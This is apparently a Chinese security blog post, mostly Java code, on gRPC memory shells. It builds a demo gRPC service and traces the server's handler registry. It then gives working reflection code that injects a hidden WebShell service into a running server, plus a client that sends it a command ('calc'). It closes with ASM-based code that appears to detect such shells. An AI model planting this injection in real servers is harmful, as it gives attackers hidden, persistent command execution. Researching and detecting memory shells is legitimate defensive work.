戳上面的蓝字关注我吧!
syntax = "proto3";package protocol;option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";message User {int32 userId = 1;string username = 2;sint32 age = 3;string name = 4;}service UserService {rpc getUser (User) returns (User) {}rpc getUsers (User) returns (stream User) {}rpc saveUsers (stream User) returns (User) {}}
protoc -I=. --java_out=./codes/ user.protoprotoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto
package com.demo.shell.service;import com.demo.shell.protocol.User;import com.demo.shell.protocol.UserServiceGrpc;import io.grpc.stub.StreamObserver;/*** @author demo* @date 2022/11/27*/public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {@Overridepublic void getUser(User request, StreamObserver<User> responseObserver) {System.out.println(request);User user = User.newBuilder().setName("response name").build();responseObserver.onNext(user);responseObserver.onCompleted();}@Overridepublic void getUsers(User request, StreamObserver<User> responseObserver) {System.out.println("get users");System.out.println(request);User user = User.newBuilder().setName("user1").build();User user2 = User.newBuilder().setName("user2").build();responseObserver.onNext(user);responseObserver.onNext(user2);responseObserver.onCompleted();}@Overridepublic StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {return new StreamObserver<User>() {@Overridepublic void onNext(User user) {System.out.println("get saveUsers list ---->");System.out.println(user);}@Overridepublic void onError(Throwable throwable) {System.out.println("saveUsers error " + throwable.getMessage());}@Overridepublic void onCompleted() {User user = User.newBuilder().setName("saveUsers user1").build();responseObserver.onNext(user);responseObserver.onCompleted();}};}}
public static void main(String[] args) throws Exception {int port = 8082;Server server = NettyServerBuilder.forPort(port).addService(new UserServiceImpl()).build().start();System.out.println("server started, port : " + port);server.awaitTermination();}
package com.demo.shell.test;import com.demo.shell.protocol.User;import com.demo.shell.protocol.UserServiceGrpc;import io.grpc.ManagedChannel;import io.grpc.ManagedChannelBuilder;import java.util.Iterator;/*** @author demo* @date 2022/11/27*/public class NsTest {public static void main(String[] args) {User user = User.newBuilder().setUserId(100).build();String host = "127.0.0.1";int port = 8082;ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);User responseUser = userServiceBlockingStub.getUser(user);System.out.println(responseUser);Iterator<User> users = userServiceBlockingStub.getUsers(user);while (users.hasNext()) {System.out.println(users.next());}channel.shutdown();}}
int port = 8082;Server server = NettyServerBuilder.forPort(port).addService(new UserServiceImpl()).build().start();
public T addService(BindableService bindableService) {this.delegate().addService(bindableService);return this.thisT();}
@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor()).addMethod(getGetUserMethod(),io.grpc.stub.ServerCalls.asyncUnaryCall(new MethodHandlers<com.demo.shell.protocol.User,com.demo.shell.protocol.User>(this, METHODID_GET_USER))).addMethod(getGetUsersMethod(),io.grpc.stub.ServerCalls.asyncServerStreamingCall(new MethodHandlers<com.demo.shell.protocol.User,com.demo.shell.protocol.User>(this, METHODID_GET_USERS))).addMethod(getSaveUsersMethod(),io.grpc.stub.ServerCalls.asyncClientStreamingCall(new MethodHandlers<com.demo.shell.protocol.User,com.demo.shell.protocol.User>(this, METHODID_SAVE_USERS))).build();}
public Server build() {return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);}
ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, "executorPool");this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), "registryBuilder");...}
static final class Builder {private final HashMap<String, ServerServiceDefinition> services = new LinkedHashMap();Builder() {}InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {this.services.put(service.getServiceDescriptor().getName(), service);return this;}InternalHandlerRegistry build() {Map<String, ServerMethodDefinition<?, ?>> map = new HashMap();Iterator var2 = this.services.values().iterator();while(var2.hasNext()) {ServerServiceDefinition service = (ServerServiceDefinition)var2.next();Iterator var4 = service.getMethods().iterator();while(var4.hasNext()) {ServerMethodDefinition<?, ?> method = (ServerMethodDefinition)var4.next();map.put(method.getMethodDescriptor().getFullMethodName(), method);}}return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));}}
public static void changeGRPCService(Server server){try {Field field = server.getClass().getDeclaredField("registry");field.setAccessible(true);Object registry = field.get(server);Class<?> handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");Field services = handler.getDeclaredField("services");services.setAccessible(true);List servicesList = (List) services.get(registry);List<Object> newServicesList = new ArrayList<Object>(servicesList);//调用WebShell的bindServiceClass<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");Method m = cls.getDeclaredMethod("bindService");BindableService obj = new WebshellServiceImpl();ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);newServicesList.add(service); //添加新的Service到List中services.set(registry, Collections.unmodifiableList(newServicesList));Field methods = handler.getDeclaredField("methods");methods.setAccessible(true);Map methodsMap = (Map) methods.get(registry);Map<String,Object> newMethodsMap = new HashMap<String,Object>(methodsMap);for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);}methods.set(registry,Collections.unmodifiableMap(newMethodsMap));} catch (Exception e) {e.printStackTrace();}}
package com.demo.shell.test;import com.demo.shell.protocol.WebShellServiceGrpc;import com.demo.shell.protocol.Webshell;import io.grpc.ManagedChannel;import io.grpc.ManagedChannelBuilder;/*** @author demo* @date 2022/11/27*/public class NsTestShell {public static void main(String[] args) {Webshell webshell = Webshell.newBuilder().setPwd("x").setCmd("calc").build();String host = "127.0.0.1";int port = 8082;ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);Webshell s = webShellServiceBlockingStub.exec(webshell);System.out.println(s.getCmd());try {Thread.sleep(5000);} catch (InterruptedException e) {e.printStackTrace();}channel.shutdown();}}
ClassReader reader = new ClassReader(bytes);ClassWriter writer = new ClassWriter(reader, 0);GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);reader.accept(visitor, 0);
package com.websocket.findMemShell;import java.util.List;import org.objectweb.asm.ClassVisitor;import org.objectweb.asm.ClassWriter;import org.objectweb.asm.MethodVisitor;import org.objectweb.asm.Opcodes;public class GrpcClassVisitor extends ClassVisitor {private String ClassName = null;private List<String> Grpc_Methods_list;public GrpcClassVisitor(ClassWriter writer,List<String> Grpc_Methods_list) {super(Opcodes.ASM4, writer);this.Grpc_Methods_list = Grpc_Methods_list;}@Overridepublic void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {if(superName.contains("ServiceGrpc")) {try {String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\\.")).getInterfaces()[0].getName();if(cls.equals("io.grpc.BindableService")) {//System.out.println("SuperName Class:"+cls);this.ClassName = name;}} catch (ClassNotFoundException e) {// TODO Auto-generated catch blocke.printStackTrace();}}super.visit(version, access, name, signature, superName, interfaces);}@Overridepublic MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);if(this.ClassName == null) {return methodVisitor;}else {return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);}}class MyMethodVisitor extends MethodVisitor implements Opcodes {private String MethodName;private String ClassName;private List<String> Grpc_Methods_list;public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List<String> Grpc_Methods_list) {super(Opcodes.ASM5, mv);this.MethodName = name;this.ClassName = ClassName;this.Grpc_Methods_list = Grpc_Methods_list;}@Overridepublic void visitMethodInsn(final int opcode, final String owner,final String name, final String desc, final boolean itf) {if(!this.Grpc_Methods_list.contains(this.ClassName+"#"+this.MethodName)) {this.Grpc_Methods_list.add(this.ClassName+"#"+this.MethodName);//System.out.println(this.ClassName+"#"+this.MethodName);}super.visitMethodInsn(opcode, owner, name, desc, itf);}}}
if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\.", "/"))) {List<String> list = discoveredCalls.get(cp.getClassName().replaceAll("\\.", "/"));for(String str : list) {if(dfsSearchSink(str)) {stack.push(str);stack.push(cp.getClassName().replaceAll("\\.", "/"));StringBuilder sb = new StringBuilder();while(!stack.empty()) {sb.append("->");sb.append(stack.pop());}System.out.println("Controller CallEdge: "+sb.toString());break;}}}